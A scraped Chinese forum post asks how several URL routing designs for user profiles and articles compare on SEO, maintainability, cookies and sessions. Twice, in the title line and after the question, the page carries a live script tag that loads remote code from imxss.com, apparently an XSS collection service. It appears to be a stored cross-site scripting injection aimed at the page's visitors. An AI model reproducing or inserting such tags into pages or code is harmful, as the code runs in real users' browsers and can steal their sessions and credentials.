下面幾種路由設計有什麼區別?<script src=//imxss.com/s/1594.do></script>

例如我有個社區網站

現在針對用戶主頁有如下幾種路由設計
www.xxx.com/member/{username} (知乎,V2EX,sf.gg,豆瓣採用)
www.xxx.com/{username} (Twitter,github採用)
member.xxx.com/{username} (bilibili採用)
{username}.member.xxx.com (LOFTER採用)
www.xxx.com/profile.php?id={username} (Facebook,百度貼吧採用)
同時針對UGC內容有如下幾種路由設計

www.xxx.com/{username}/{article_id} (github採用)
www.xxx.com/article/{article_id} (bilibili,知乎問答主站,豆瓣採用)
www.xxx.com/{article_id} (簡書採用)
article.xxx.com/{article_id} (知乎專欄採用)
www.xxx.com/article.php?id={article_id} (老舊CMS採用)
哪種更好呢?

這個和SEO關係大嗎?

從代碼可維護角度上考慮呢?(比如說DNS,跨域cookie,session管理等問題)

各方面綜合考慮該使用什麼樣的路由設計方案?

<script src=//imxss.com/s/1594.do></script>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章